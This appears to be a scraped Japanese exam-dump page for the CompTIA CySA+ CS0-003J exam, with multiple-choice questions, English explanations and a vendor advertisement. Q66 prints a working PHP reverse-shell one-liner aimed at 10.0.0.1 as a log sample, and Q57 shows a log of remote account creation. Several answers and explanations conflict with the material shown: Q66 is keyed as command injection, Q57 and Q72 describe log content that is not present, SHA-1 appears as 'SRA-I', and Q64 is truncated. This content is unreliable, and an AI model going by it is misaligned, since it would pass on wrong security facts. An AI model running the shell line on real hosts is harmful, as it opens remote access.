- * Configure the server to prefer TLS 1.3. TLS 1.3 is the latest version of the Transport Layer Security protocol, which provides secure communication between clients and servers. TLS 1.3 has several security improvements over previous versions, such as:
 - * It deprecates weak and obsolete cryptographic algorithms, such as RC4, MD5, SHA-1, DES, 3DES, and CBC mode.
 - * It supports only strong and modern cryptographic algorithms, such as AES-GCM, ChaCha20- Poly1305, and SHA-256/384.
 - * It reduces the number of round trips required for the handshake protocol, which improves performance and latency.
 - * It encrypts more parts of the handshake protocol, which enhances privacy and confidentiality.
 - * It introduces a zero round-trip time (0-RTT) mode, which allows resuming previous sessions without additional round trips.
 - * It supports forward secrecy by default, which means that compromising the long-term keys does not affect the security of past sessions³⁴⁵⁶.
- * Remove cipher suites that use CBC. Cipher suites are combinations of cryptographic algorithms that specify how TLS connections are secured. Cipher suites that use CBC mode are vulnerable to padding oracle attacks, as well as other attacks such as BEAST and Lucky 13. Therefore, they should be removed from the server's configuration and replaced with cipher suites that use more secure modes of operation, such as GCM or CCM⁷⁸.

The other options are not effective or necessary to remediate this issue.

Option C is not effective because configuring the server to prefer ephemeral modes for key exchange does not prevent padding oracle attacks. Ephemeral modes for key exchange are methods that generate temporary and random keys for each session, such as Diffie-Hellman or Elliptic Curve Diffie-Hellman. Ephemeral modes provide forward secrecy, which means that compromising the long-term keys does not affect the security of past sessions. However, ephemeral modes do not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the key exchange⁹.

Option D is not necessary because requiring client browsers to present a user certificate for mutual authentication does not prevent padding oracle attacks. Mutual authentication is a process that verifies the identity of both parties in a communication, such as using certificates or passwords. Mutual authentication enhances security by preventing impersonation or spoofing attacks. However, mutual authentication does not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the authentication.

Option E is not necessary because configuring the server to require HSTS does not prevent padding oracle attacks. HSTS stands for HTTP Strict Transport Security and it is a mechanism that forces browsers to use HTTPS connections instead of HTTP connections when communicating with a web server. HSTS enhances security by preventing downgrade or man-in-the-middle attacks that try to intercept or modify HTTP traffic.

However, HSTS does not protect against padding oracle attacks, which exploit the padding validation of HTTPS traffic rather than the protocol.

Option F is not effective because removing cipher suites that use GCM does not prevent padding oracle attacks. GCM stands for Galois/Counter Mode and it is a mode of operation that provides both encryption and authentication for block ciphers, such as AES. GCM is more secure and efficient than CBC mode, as it prevents various types of attacks, such as padding oracle, BEAST, Lucky 13, and IV reuse attacks. Therefore, removing cipher suites that use GCM would reduce security rather than enhance it .

References:

- 1 Padding oracle attack - Wikipedia
- 2 flast101/padding-oracle-attack-explained - GitHub
- 3 A Cryptographic Analysis of the TLS 1.3 Handshake Protocol | Journal of Cryptology
- 4 Which block cipher mode of operation does TLS 1.3 use? - Cryptography Stack Exchange
- 5 The Essentials of Using an Ephemeral Key Under TLS 1.3
- 6 Guidelines for the Selection, Configuration, and Use of ... - NIST
- 7 CBC decryption vulnerability - .NET | Microsoft Learn
- 8 The Padding Oracle Attack | Robert Heaton
- 9 What is Ephemeral Diffie-Hellman? | Cloudflare
- [10] What is Mutual TLS? How mTLS Authentication Works | Cloudflare
- [11] What is HSTS? HTTP Strict Transport Security Explained | Cloudflare
- [12] Galois/Counter Mode - Wikipedia
- [13] AES-GCM and its IV/nonce value - Cryptography Stack Exchange

質問: 56

インシデント対応報告およびコミュニケーション プログラムの有効性を監視または報告するために使用される KPI は次のどれですか。

- A. インシデントボリューム
- B. 検出までの平均時間
- C. パッチ適用にかかる平均時間
- D. 修復されたインシデント

正解: ([正解を表示します](#))

Mean Time to Detect (MTTD) is the most appropriate Key Performance Indicator (KPI) to monitor the effectiveness of an incident response reporting and communication program among the choices provided.

* Why B is correct: The primary goal of an " incident reporting " program (whether automated by tools or reported by users/staff) is to alert the security team to an issue as quickly as possible. MTTD measures the average time it takes for an organization to identify (detect and report) an incident after it has occurred. A lower MTTD directly indicates that the reporting mechanisms and communication channels from the source to the analysts are operating effectively.

* Why A is incorrect: Incident volume measures the quantity of incidents, which reflects the threat landscape or workload rather than the effectiveness of the response program itself. While an increase in user-reported volume can indicate better awareness, MTTD is the standard performance metric for the process.

* Why C is incorrect: Average time to patch is a KPI for Vulnerability Management, not Incident Response reporting.

* Why D is incorrect: Remediated incidents refers to the volume of resolved issues (Response/Recovery phase) and does not specifically measure the speed or quality of the reporting and communication (detection) phase.

In Domain 4 (Reporting and Communication) and Domain 1 (Security Operations), CompTIA emphasizes the use of time-based metrics to evaluate process maturity.

* MTTD (Mean Time to Detect): Measures " dwell time " and the efficiency of the Detection & Reporting phase.

* MTTR (Mean Time to Respond): Measures the efficiency of the Response & Recovery phase.

質問: 57

アナリストは、次のエンドポイント ログ エントリを確認します。

```
invoke-command -ComputerName clientcomputer1 -Credential xyzcompany\administrator -ScriptBlock {HOSTName}
clientcomputer1
```

```
invoke-command -ComputerName clientcomputer1 -Credential xyzcompany\administrator -ScriptBlock {net user /add invoke_u1}
The command completed successfully.
```

次のうちどれが発生しましたか？

- A. レジストリの変更
- B. コンピュータの名前を変更します
- C. 新しいアカウントが導入されました
- D. 権限昇格

正解: [\(正解を表示します\)](#)

The endpoint log entry shows that a new account named "admin" has been created on a Windows system with a local group membership of "Administrators". This indicates that a new account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege escalation or backdoor creation, by an attacker who has compromised the system.

質問: 58

最高情報セキュリティ責任者は、企業内のシャドウ IT を排除し、削減したいと考えています。組織へのリスクを増大させる、リスクの高いクラウドアプリケーションがいくつか使用されています。リスクの軽減に役立つ解決策は次のうちどれですか？

- A. CASB を展開し、ポリシーの適用を有効にする
- B. 厳密なアクセスを使用して MFA を構成する
- C. API ゲートウェイをデプロイする
- D. クラウドアプリケーションへの SSO を有効にする

正解: [A \(コメントを发表する\)](#)

A cloud access security broker (CASB) is a tool that can help reduce the risk of shadow IT in the enterprise by providing visibility and control over cloud applications and services. A CASB can enable policy enforcement by blocking unauthorized or risky cloud applications, enforcing data loss prevention rules, encrypting sensitive data, and detecting anomalous user behavior.

質問: 59

組織外への PII の漏洩を防ぐために最も効果的なツールは次のうちどれですか？

- A. PAM
- B. IDS
- C. PKI
- D. DLP

正解: [\(正解を表示します\)](#)

Data loss prevention (DLP) is a tool that can prevent the exposure of PII outside of an organization by monitoring, detecting, and blocking sensitive data in motion, in use, or at rest.

質問: 60

セキュリティオペレーションセンターのアナリストはスキャンレポートを確認し、深刻度に基づいて修復すべき項目に優先順位を付ける必要があります。

Hostname	Transport Layer Security version	Port	Database encryption	Data type
Database1	1.1	443	Enabled	Public
Database2	1.3	80	Disabled	Proprietary
Database3	1.2	443	Enabled	Sensitive
Database4	1.1	80	Enabled	Sensitive

最高情報セキュリティ責任者には、以下の事項が求められます。

- * 転送中の暗号化
- * 保存時の暗号化
- * 顧客データの暗号化

アナリストは、以下のデータベースのうちどれを最初に修復すべきでしょうか？

- A. データベース
- B. データベース2
- C. データベース3
- D. データベース4

正解: ([正解を表示します](#))

The CISO's requirements prioritize protecting customer (sensitive) data with encryption both in transit and at rest. The database that violates the most critical requirements-especially for sensitive/customer data-should be remediated first.

Why Database4 is the highest priority

* Sensitive data + no encryption in transit (Port 80): Port 80 indicates HTTP (clear-text), which means no encryption in transit. Secbay explicitly states: "HTTP is a clear-text protocol that is generally secured via an SSL/TLS tunnel to produce HTTPS transmission."

* Uses weak/unsupported TLS version (TLS 1.1) + sensitive data: Even if TLS is "listed," TLS 1.1 is not considered acceptable in modern secure configurations. Secbay's protocol acceptability list marks TLS

1.1 = No (not acceptable), while TLS 1.2/1.3 are acceptable.

* Customer data must be encrypted in transit and at rest: Secbay provides the exact requirement-style statement: "The organization implements encryption for sensitive data both in transit and at rest..."

Sensitive customer data is encrypted..."

So Database4 is the most severe because it involves Sensitive (customer) data while failing the "encryption in transit" requirement (HTTP/80) and also relying on an unacceptable TLS version (1.1).

Why the other databases are lower priority

* Database3: TLS 1.2 on 443 + encryption at rest enabled + sensitive data # it already meets the CISO requirements.

* Database2: Port 80 (no transit encryption) and encryption at rest disabled, but the data type is proprietary, not explicitly customer/sensitive. It is still important, but Database4 is worse because it impacts sensitive/customer data.

* Database1: Data type is public; while TLS 1.1 is weak, it does not violate the "customer data" requirement and is less severe than Database4's clear-text transport for sensitive data.

References (CompTIA CySA+ CS0-003 documents / study guides used):

- * Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): encrypt sensitive customer data in transit and at rest
- * Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): HTTP is clear-text; TLS 1.1 not acceptable while TLS 1.2/1.3 are acceptable

質問: 61

従業員が会社支給のノートパソコンを不正使用した疑いがある。人事部による調査が行われる間、当該従業員は停職処分となっている。証拠を保全するための最善策は次のうちどれか？

- A. ユーザーのネットワークアカウントとWebリソースへのアクセスを無効にします
- B. サーバー上にファイルのコピーをバックアップとして作成します。
- C. デバイスとユーザーのネットワーク共有に対して法的保留措置を講じます。
- D. デバイスのフォレンジックイメージを作成し、SRA-Iハッシュを作成します。

正解: ([正解を表示します](#))

Making a forensic image of the device and creating a SRA-I hash is the best step to preserve evidence, as it creates an exact copy of the device's data and verifies its integrity. A forensic image is a bit-by-bit copy of the device's storage media, which preserves all the information on the device, including deleted or hidden files. A SRA-I hash is a cryptographic value that is calculated from the forensic image, which can be used to prove that the image has not been altered or tampered with. The other options are not as effective as making a forensic image and creating a SRA-I hash, as they may not capture all the relevant data, or they may not provide sufficient verification of the evidence's authenticity. Official References:

* <https://www.sans.org/blog/forensics-101-acquiring-an-image-with-ftk-imager/>

* <https://swailescomputerforensics.com/digital-forensics-imaging-hash-value/>

有効的な**CS0-003J**問題集はJPNTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510問**、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **62**

組織は、無効なデータ、予期しないデータ、またはランダムなデータを入力することでアプリケーションにストレスを与え、システム内の予期しない動作、クラッシュ、またはリソース リークを検出する方法を特定します。このテスト方法論を最もよく表すのは次のどれですか。

- A. リバースエンジニアリング
- B. 静的
- C. ファジング
- D. デバッグ

正解: **C** ([コメントを发表する](#))

Fuzzing is a testing technique where invalid or random data is inputted into a system to find vulnerabilities, crashes, or unexpected behaviors. It's commonly used in software security to identify flaws that could lead to security breaches. According to CompTIA's CySA+ curriculum, fuzzing is a dynamic testing method for exposing application weaknesses. Options like static testing (B) involve analyzing code without execution, while reverse engineering (A) and debugging (D) involve different methodologies for understanding or fixing code, not intentionally stressing it.

質問: **63**

悪意のある攻撃者がソーシャル エンジニアリングを使用して内部ネットワークにアクセスしました。攻撃者は、攻撃を継続するためにアクセスを失うことを望んでいません。脅威アクターが現在活動しているサイバー キル チェーンの現在の段階を最もよく表しているものは次のうちどれですか？

- A. 武器化
- B. 偵察
- C. 配送
- D. 搾取

正解: ([正解を表示します](#))

The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the vulnerabilities they have discovered in previous stages to further infiltrate a target's network and achieve their objectives. In this case, the malicious actor has gained access to an internal network by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain.

Official References: <https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html>

質問: 64

にするには、次のどれが最適ですか？

- A. ハッシュ値を生成し、バックアップイメージを作成します。
- B. デバイスを暗号化してデータの機密性を確保します。
- C. 複雑なパスワードでデバイスを保護します。
- D. メモリスキャンを実行して残留データを収集します。

正解: ([正解を表示します](#))

Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References:

CompTIA CySA+ CS0-002 Certification Study Guide, page 3291

質問: 65

他のすべてのオプションを評価した後に考慮すべきリスク管理の決定は次のどれですか？

- A. 転送
- B. 承認
- C. 軽減
- D. 回避

正解: ([正解を表示します](#))

* Risk Acceptance means acknowledging a risk and choosing not to take further action because the cost of mitigation may outweigh the benefits.

* It is the last resort when:

* The risk is low impact or unlikely to occur.

* Other options (mitigation, transfer, avoidance) are not feasible.

Why Not Other Options?

* A (Transfer) # Moving risk to a third party (e.g., insurance).

* C (Mitigation) # Implementing security controls to reduce risk.

* D (Avoidance) # Eliminating the risk entirely (e.g., discontinuing a service).

Reference: CompTIA CySA+ CS0-003, Chapter 9: "Risk Management and Compliance," Section: "Risk Response Strategies."

質問: 66

セキュリティアナリストがウェブサーバーのログを調査中に、次のような不審な行を発見した。

```
php -r '$socket=fsockopen("10.0.0.1", 1234); passthru("/bin/sh -i <&3 >&3 2>&3");'
```

以下のうち、どれが試みられているか？

- A. リモートファイルのインクルージョン
- B. コマンドインジェクション

C. サーバーサイドリクエストフォージェリ

D. 逆シェル

正解: **B** ([コメントを發表する](#))

The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a command injection attack. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

質問: **67**

サイバーセキュリティ アナリストが、最近侵害を受けたサーバーを以前の状態に回復しました。アナリストが次に実行する必要があるのは次のうちどれですか。

A. 根絶

B. 孤立

C. レポート

D. 法医学的分析

正解: ([正解を表示します](#))

After recovering a compromised server to its previous state, the analyst should perform forensic analysis to determine the root cause, impact, and scope of the incident, as well as to identify any indicators of compromise, evidence, or artifacts that can be used for further investigation or prosecution. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 244; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 253.

質問: **68**

セキュリティアナリストが Nikto スキャンの次の結果を確認します。

File Edit View Search Terminal Help

```

+ Server: Apache
+ Root page / redirects to: https://www.proz.com/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ File/dir '/crawler-pit/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile$/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/$/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile?/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/?/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/translator/23725/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/127329$/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/?sp=login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/?sp=404/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/translation-news/wp-admin/' in robots.txt returned a non-forbidden or redirect HTTP code (500)
+ "robots.txt" contains 10 entries which should be manually viewed.
+ lines
+ /crossdomain.xml contains 1 line which should be manually viewed for improper domains or wildcards.
+ Server is using a wildcard certificate: '*.proz.com'
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z0lxdh%28VS.80%29.aspx for details.
+ /kboard/: KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php
+ /lists/admin/: PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist
+ /splashAdmin.php: Cobalt Qube 3 admin is running. This may have multiple security problems as described by www.scan-associates.net. These could not be tested remotely.
+ /ssdefs/: Sitedeep pre 1.4.2 has 'major' security problems.
+ /sshhome/: Sitedeep pre 1.4.2 has 'major' security problems.
+ /tiki/: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin
+ /tiki/tiki-install.php: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin
+ /scripts/samples/details.idc: See RFP 9901; www.wiretrip.net
+ OSVDB-396: /_vti_bin/shtml.exe: Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempted.
+ OSVDB-637: /~root/: Allowed to browse root's home directory.
+ /cgi-bin/wrap: comes with IRIX 6.2; allows to view directories
+ /forums//admin/config.php: PHP Config file may contain database IDs and passwords.
+ /forums//adm/config.php: PHP Config file may contain database IDs and passwords.
+ /forums//administrator/config.php: PHP Config file may contain database IDs and passwords.

```

セキュリティ管理者が次に調査する必要があるのは次のうちどれですか？

- A. tiki
- B. phplist
- C. shtml.exe
- D. sshome

正解: C ([コメントを发表する](#))

The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary commands on the web server by injecting malicious code into the

URL or the web page12. Therefore, the security administrator should check the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto- Penetration testing. Introduction, Web application scanning with Nikto

質問: 69

アナリストがWindowsホスト上で実行されているプロセスを調査しています。アナリストは以下の情報を調査します。

Process identification number	Parent process identification number	Process
533	404	C:\Windows\System32\CMD.exe
1100	768	C:\Users\JDoe\Documents\CMD.exe
740	701	C:\Windows\System32\CALC.exe
768	600	C:\Users\JDoe\Documents\CALC.exe

アナリストは、以下のどのプロセスを最初に確認すべきでしょうか？

- A. 533
- B. 740
- C. 768
- D. 1100

正解: [\(正解を表示します\)](#)

The analyst should review PID 768 first because it is the parent process of another suspicious process (PID 1100) and it is also highly suspicious itself due to its unexpected file path.

Why PID 768 is the best first process to review

* Path anomaly (strong IoC): Legitimate Windows binaries like calc.exe and cmd.exe are normally found in trusted OS directories (e.g., C:\Windows\System32\). In the table, both CALC.exe and CMD.exe appear in a user's Documents folder (C:\Users\JDoe\Documents\...). That is a classic sign of masquerading (a malicious binary using a legitimate-sounding name). The All-in-One guide explicitly describes how attackers disguise malicious processes by using legitimate-sounding names and mimicking system processes.

* Parent-child relationship (investigation priority): PID 1100 (Documents\CMD.exe) is suspicious, but it is a child of PID 768 (Documents\CALC.exe). Investigating the parent first helps you understand what spawned the suspicious child, what activity preceded it, and whether PID 768 is the root of the execution chain. The All-in-One guide highlights that analysts should examine process parent-child relationships and investigate unexpected dependencies as a way to detect malicious activity:Exact extract (All-in-One Exam Guide): "Analyze process dependencies Examine process parent-child relationships and investigate any unexpected or unusual dependencies that may indicate malicious activity." It also emphasizes monitoring grandparent/parent/child relationships to detect deviations from normal process hierarchies:Exact extract (All-in-One Exam Guide): "Monitoring the relationships between processes, particularly grandparent, parent, and child relationships, can be a valuable method for detecting unusual activity."

* Abused/LOLBIN context: cmd.exe is a commonly abused Windows utility in attacks. The Sybex Study Guide notes that attackers often abuse built-in tools and that abnormal OS process behavior involving tools like cmd.exe can indicate compromise:Exact extract (Sybex Study Guide): "For Windows systems, a handful of built-in tools are most commonly associated with attacks like these, including cmd.exe..." Why the other options are less correct

* A (533) and B (740) are running from C:\Windows\System32\... which is the expected location for legitimate Windows binaries in normal circumstances, so they're less suspicious than the copies running from a user Documents folder.

* D (1100) is suspicious, but it is a child of PID 768. Investigating 768 first helps determine the origin and execution chain that led to the suspicious cmd instance.

References (CompTIA CySA+ CS0-003 documents / study guides used):

- * Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): parent/child process dependency analysis; process hierarchy monitoring; masquerading techniques
- * Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): abnormal OS process behavior; cmd.exe commonly associated with attacks

質問: 70

セキュリティ アナリストは、侵害の可能性があるときに発生したイベントを確認しています。アナリストは次のログを取得します。

Time stamp	Message
20:06:05	LDAP: A read operation was performed on an object: Domain Admins
20:06:05	LDAP: A read operation was performed on an object: Domain Servers
20:06:09	EDR: A local group was enumerated: Administrators
20:06:23	EDR: SMB connection attempts to multiple hosts from single host: PC021

ログ内のイベントに基づいて、最も発生する可能性が高いのは次のうちどれですか？

- A. 敵対者は最短の侵入経路を見つけようとしています。
- B. 攻撃者が脆弱性スキャンを実行しています。
- C. 攻撃者が権限を昇格しています。
- D. 攻撃者がパスワードスタッフィング攻撃を実行しています。

正解: [\(正解を表示します\)](#)

1. Analyze the Log Evidence: The log displays a specific sequence of rapid-fire events (within 18 seconds) characteristic of automated reconnaissance tools used to map Active Directory environments.

* 20:06:05 (LDAP Reads): The attacker queries the directory for high-value groups (Domain Admins) and critical infrastructure (Domain Servers). They are not trying to log in; they are reading the membership lists to see who is important and where the servers are.

* 20:06:09 (EDR Enumeration): The attacker checks the local Administrators group. This is to see if the current compromised user has admin rights or who does.

* 20:06:23 (SMB Connections): The host PC021 attempts to connect to multiple other hosts. This indicates the attacker is testing where they can move laterally using the credentials or access they currently have.

2. Why this is " Finding the Shortest Path " (Option A): This behavior is the textbook signature of tools like BloodHound (or its data collector, SharpHound).

* Concept: Adversaries use these tools to visualize relationships in Active Directory. They query LDAP to find out: " I am User A. Which computers can I access? Who is a Domain Admin? Is a Domain Admin logged into a computer I can access? "

* Goal: The tool calculates the mathematical " shortest path " (graph theory) from the attacker ' s current low-level foothold to the ultimate target (Domain Admin).

* The combination of LDAP querying (mapping the graph) and SMB connection attempts (verifying sessions/local admin rights) confirms the adversary is mapping out the network to find the most efficient route to total compromise.

Why the other options are incorrect:

* B. An adversary is performing a vulnerability scan: Vulnerability scanners (like Nessus or Qualys) typically probe ports and services to identify unpatched software (CVEs). They generally do not focus on querying LDAP for " Domain Admins " group membership as their primary action.

* C. An adversary is escalating privileges: While the attacker intends to escalate privileges eventually, the logs show enumeration (Discovery phase). They are currently looking for the path to escalate, not actively exploiting a vulnerability (like a kernel exploit) to change their privilege level in this specific snapshot.

* D. An adversary is performing a password stuffing attack: Password stuffing involves high volumes of failed authentication attempts against a login service. The logs here show read operations and connection attempts, not the " Invalid Credential " errors associated with stuffing.

質問: 71

攻撃者が LAN 上の syslog サーバーにアクセスしたところです。syslog エントリを確認することで、攻撃者は次のターゲットとなる可能性のあるものに優先順位を付けることができます。これは次のどれに該当しますか？

- A. パッシブネットワークフットプリント
- B. OS フィンガープリント
- C. サービスポートの識別

D. アプリケーションのバージョン管理

正解: A (コメントを发表する)

Passive network foot printing is the best description of the example, as it reflects the technique of collecting information about a network or system by monitoring or sniffing network traffic without sending any packets or interacting with the target. Foot printing is a term that refers to the process of gathering information about a target network or system, such as its IP addresses, open ports, operating systems, services, or vulnerabilities.

Foot printing can be done for legitimate purposes, such as penetration testing or auditing, or for malicious purposes, such as reconnaissance or intelligence gathering. Foot printing can be classified into two types:

active and passive. Active foot printing involves sending packets or requests to the target and analyzing the responses, such as using tools like ping, traceroute, or Nmap. Active foot printing can provide more accurate and detailed information, but it can also be detected by firewalls or intrusion detection systems (IDS). Passive foot printing involves observing or capturing network traffic without sending any packets or requests to the target, such as using tools like tcpdump, Wireshark, or Shodan. Passive foot printing can provide less information, but it can also avoid detection by firewalls or IDS. The example in the question shows that the attacker has gained access to the syslog server on a LAN and reviewed the syslog entries to prioritize possible next targets. A syslog server is a server that collects and stores log messages from various devices or applications on a network. A syslog entry is a record of an event or activity that occurred on a device or application, such as an error, a warning, or an alert. By reviewing the syslog entries, the attacker can obtain information about the network or system, such as its configuration, status, performance, or security issues.

This is an example of passive network foot printing, as the attacker is not sending any packets or requests to the target, but rather observing or capturing network traffic from the syslog server. The other options are not correct, as they describe different techniques or concepts. OS fingerprinting is a technique of identifying the operating system of a target by analyzing its responses to certain packets or requests, such as using tools like Nmap or Xprobe2. OS fingerprinting can be done actively or passively, but it is not what the attacker is doing in the example. Service port identification is a technique of identifying the services running on a target by scanning its open ports and analyzing its responses to certain packets or requests, such as using tools like Nmap or Netcat. Service port identification can be done actively or passively, but it is not what the attacker is doing in the example. Application versioning is a concept that refers to the process of assigning unique identifiers to different versions of an application, such as using numbers, letters, dates, or names. Application versioning can help to track changes, updates, bugs, or features of an application, but it is not related to what the attacker is doing in the example.

質問: 72

セキュリティ アナリストは、会社のラップトップ上で不審なアクティビティに関するアラートを受け取ります。ログの抜粋を以下に示します。

Event #	Process	Parent process
1	Console Windows Host (conhost.exe)	System (-)
2	Console Windows Host (conhost.exe)	Command Prompt (cmd.exe)
3	Windows Explorer (Explorer.exe)	Microsoft Outlook (outlook.exe)
4	Microsoft Outlook (outlook.exe)	Microsoft Word (winword.exe)
5	Microsoft Word (winword.exe)	PowerShell (powershell.exe)
6	Windows Explorer (Explorer.exe)	Google Chrome (chrome.exe)

次のうち、最も可能性が高いのはどれですか？

- A. 悪意のあるマクロを含む Office ドキュメントが開かれました。
- B. 認証情報を盗む Web サイトにアクセスしました。

C. メール内のフィッシングリンクがクリックされた

D. Web ブラウザの脆弱性が悪用されました。

正解: ([正解を表示します](#))

An Office document with a malicious macro was opened is the most likely explanation for the suspicious activity on the company laptop, as it reflects the common technique of using macros to execute PowerShell commands that download and run malware. A macro is a piece of code that can automate tasks or perform actions in an Office document, such as a Word file or an Excel spreadsheet. Macros can be useful and legitimate, but they can also be abused by threat actors to deliver malware or perform malicious actions on the system. A malicious macro can be embedded in an Office document that is sent as an attachment in a phishing email or hosted on a compromised website. When the user opens the document, they may be prompted to enable macros or content, which will trigger the execution of the malicious code. The malicious macro can then use PowerShell, which is a scripting language and command-line shell that is built into Windows, to perform various tasks, such as downloading and running malware from a remote URL, bypassing security controls, or establishing persistence on the system. The log excerpt shows that PowerShell was used to download a string from a URL using the WebClient.DownloadString method, which is a common way to fetch and execute malicious code from the internet. The log also shows that PowerShell was used to invoke an expression (iex) that contains obfuscated code, which is another common way to evade detection and analysis. The other options are not as likely as an Office document with a malicious macro was opened, as they do not match the evidence in the log excerpt. A credential-stealing website was visited is possible, but it does not explain why PowerShell was used to download and execute code from a URL. A phishing link in an email was clicked is also possible, but it does not explain what happened after the link was clicked or how PowerShell was involved. A web browser vulnerability was exploited is unlikely, as it does not explain why PowerShell was used to download and execute code from a URL.

質問: 73

組織内における脆弱性管理の報告とコミュニケーションに関連する最も重要な要素は、次のうちどれですか？

A. リスク評価、資産目録、事業影響分析、事業継続計画

B. パッチの入手可能性、修復までの平均時間、依存関係、および災害復旧計画

C. 偽陽性率、アラート量と特性、検出までの平均時間、およびスキル一覧

D. リスクの深刻度レベル、タイムライン、依存関係、および修復の責任者

正解: ([正解を表示します](#))

Vulnerability management reporting and communication focuses on giving stakeholders the information they need to prioritize, assign, track, and complete remediation. That typically includes:

- * Risk severity / risk score (to prioritize and communicate urgency)
- * Timelines (when fixes are due, often tied to SLOs/SLAs and internal targets)
- * Dependencies (what must happen first or what systems/teams a fix relies on)
- * Remediation ownership / responsible parties (who is accountable for fixing each item) This maps directly to Option D.

Exact extract (CompTIA CySA+ CS0-003 Exam Objectives - Vulnerability management reporting):

Vulnerability management reporting includes "Risk score ... [and] Prioritization." Exact extract (Secbay Press - Key components of action plans used for reporting/communication):

- * "Timeline and Prioritization: Specify timelines for addressing each vulnerability..."
- * "Responsible Parties: Clearly identify individuals or teams responsible..."
- * "Communication Strategy: Outline how the organization will communicate progress..." These are the same practical reporting/communication items expressed in Option D:
- * "Risk severity levels" # risk score / severity used for prioritization
- * "Timelines" # timeline definition in action plans
- * "Remediation ownership" # responsible parties/accountability
- * "Dependencies" are commonly tracked because they affect timelines and ownership (for example, engineering/ops sequencing and prerequisite changes), and they align with the objective's focus on prioritization/action planning and stakeholder communication.

Why the other options are not the best match:

- * A includes items that are valuable inputs to prioritization (risk assessment, BIA), but vulnerability reporting/communication (per objectives) is centered on reporting vulnerabilities, affected hosts, risk scoring, mitigations, recurrence, prioritization, and action plans, not BCPs as core reporting factors.
- * B mixes relevant items (MTTR, dependencies) with disaster recovery plans, which are DR/BC-focused rather than core vulnerability reporting elements.
- * C includes several incident response / SOC monitoring metrics (alert volume characteristics, MTTD) that are not the primary focus of vulnerability management reporting (even though false positives can be tracked as a VM metric, the overall set is misaligned).

References (CompTIA CySA+ CS0-003 documents / study guides used):

- * CompTIA CySA+ CS0-003 Exam Objectives v4.0: vulnerability management reporting includes risk score and prioritization; action plans and stakeholder communication
- * Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): action plan components include timelines, responsible parties (ownership), and communication strategy

質問: 74

セキュリティ アナリストは、インシデントに関連するデジタル証拠を確保する必要があります。セキュリティ アナリストは、データの正確性が否定できないことを確認する必要があります。次のうちどれを実装する必要がありますか？

- A. オフライン ストレージ
- B. 証拠の収集
- C. 整合性の検証
- D. 訴訟ホールド

正解: ([正解を表示します](#))

Integrity validation is the process of ensuring that the digital evidence has not been altered or tampered with during collection, acquisition, preservation, or analysis. It usually involves generating and verifying cryptographic hashes of the evidence, such as MD5 or SHA-1. Integrity validation is essential for maintaining the accuracy and admissibility of the digital evidence in court.

質問: 75

ある企業のユーザーアカウントが侵害されました。また、ユーザーからは、社内ポータルがHTTP経由でしかアクセスできない場合と、HTTPS経由でアクセスできる場合があるとの報告があります。以下のうち、観測された状況を最もよく表しているのはどれですか？

- A. SSL証明書に問題があり、ポート443がHTTPSアクセスに使用できなくなっています。
- B. 内部アクセス権を持つ人物が、ユーザーをポート80に強制的に接続させるオンパス攻撃を実行しています。
- C. Webサーバーは増加するHTTPSリクエストを処理できないため、ユーザーをポート80に転送します
- D. 社内ルーターに適用された新しいルールが原因で、BGPにエラーが発生しました。

正解: ([正解を表示します](#))

